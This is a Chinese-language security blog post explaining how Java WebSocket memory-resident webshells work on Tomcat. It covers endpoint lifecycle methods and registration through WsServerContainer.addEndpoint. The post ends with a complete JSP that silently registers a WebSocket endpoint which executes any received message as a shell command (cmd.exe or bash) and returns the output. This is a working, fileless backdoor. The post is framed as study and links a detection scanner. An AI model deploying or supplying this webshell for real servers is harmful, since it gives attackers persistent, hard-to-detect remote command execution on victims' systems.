前不久,网上出现了关于websocket内存马的介绍,经过试用发现效果不错。但是原文(https://github.com/veo/wsMemShell/),对于原理的介绍一笔带过,看过之后,依然有很多疑问。于是就尝试学习一下WebSocket内存马的实现原理。
-
注解方式:@ServeEndpoint
-
继承抽象类方式:javax.websocket.Endpoint
-
onOpen: 会话建立
-
onClose: 会话关闭
-
onError: 会话异常
-
onMessage: 接收到消息
注解方式
import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
import java.io.IOException;
"/websockets") (
public class WebSocketServer {
private Session session;
public void onOpen(Session session) {
this.session = session;
System.out.println("已连接!Session: " + session.toString());
try {
session.getBasicRemote().sendText("a");
} catch (IOException e) {
e.printStackTrace();
}
}
public void onMessage(Session session, String message) {
System.out.println("onMessage:" + message);
}
public void onClose(Session session, CloseReason closeReason) {
System.out.println("CloseReason:" + closeReason.toString());
}
public void onError(Throwable throwable) {
throwable.printStackTrace();
}
}
继承抽象类方式
-
Endpoint实现类:主要实现3个标准生命周期方法(onOpen、onError、onClose),添加MessageHandler对象
-
MessageHandler实现类:实现onMessage方法
-
ServerApplicationConfig实现类:完成Endpoint的URI路径注册
//Endpoint实现类
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.IOException;
public class WebSocketServer2 extends Endpoint {
private Session session;
@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.session = session;
session.addMessageHandler(new MessageHandler.Whole<String>() { //匿名类实现MessageHandler
@Override
public void onMessage(String message) {
System.out.println("onMessage: "+message);
}
});
System.out.println("已连接WebsocketServer: " + session.toString());
try {
session.getBasicRemote().sendText("a");
} catch (IOException e) {
e.printStackTrace();
}
}
}
//ServerApplicationConfig实现类
import javax.websocket.Endpoint;
import javax.websocket.server.ServerApplicationConfig;
import javax.websocket.server.ServerEndpointConfig;
import java.util.HashSet;
import java.util.Set;
public class EndpointApplicationConfig implements ServerApplicationConfig {
@Override
public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> set) {
Set<ServerEndpointConfig> result = new HashSet<>();
if (set.contains(WebSocketServer2.class)) {
result.add(ServerEndpointConfig.Builder.create(WebSocketServer2.class, "/websockets2").build());
}
return result;
}
@Override
public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> set) {
System.out.println(set);
return set;
}
}
变量存储情况如下,通过注解方式实现的WebSocketServer类存入了filteredPojoEndpoints,而filteredEndpointConfigs存储的是EndpointApplicationConfig#getEndpointConfigs返回的DefaultServerEndpointConfig。
-
addEndpoint(javax.websocket.server.ServerEndpointConfig):该方法中,会根据传入的ServerEndpointConfig对象进行URI路径注册,其中包含了该对象在创建时指定的Endpoint实现类。
-
addEndpoint(java.lang.Class<?>):该方法中,会获取传入的POJO类的注解,根据注解的参数值创建ServerEndpointConfig对象,然后调用上面的重载方法,进行URI路径注册。
-
实现Endpoint,MessageHandler.onMessage中实现木马通讯功能
-
为Endpoint创建ServerEndpointConfig
-
依次获取ServletConext和WsServerContainer
-
通过WsServerContainer.addEndpoint添加ServerEndpointConfig
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%!
public static class C extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
String path = request.getParameter("path");
System.out.println(path);
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
if (servletContext.getAttribute(path) == null){
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
out.println("success, connect url path: " + servletContext.getContextPath() + path);
} catch (Exception e) {
out.println(e.toString());
}
%>
1、websocket内存马项目:https://github.com/veo/wsMemShell
2、java-memshell-scanner项目:https://github.com/c0ny1/java-memshell-scanner
银河实验室
发表评论
您还未登录,请先登录。
登录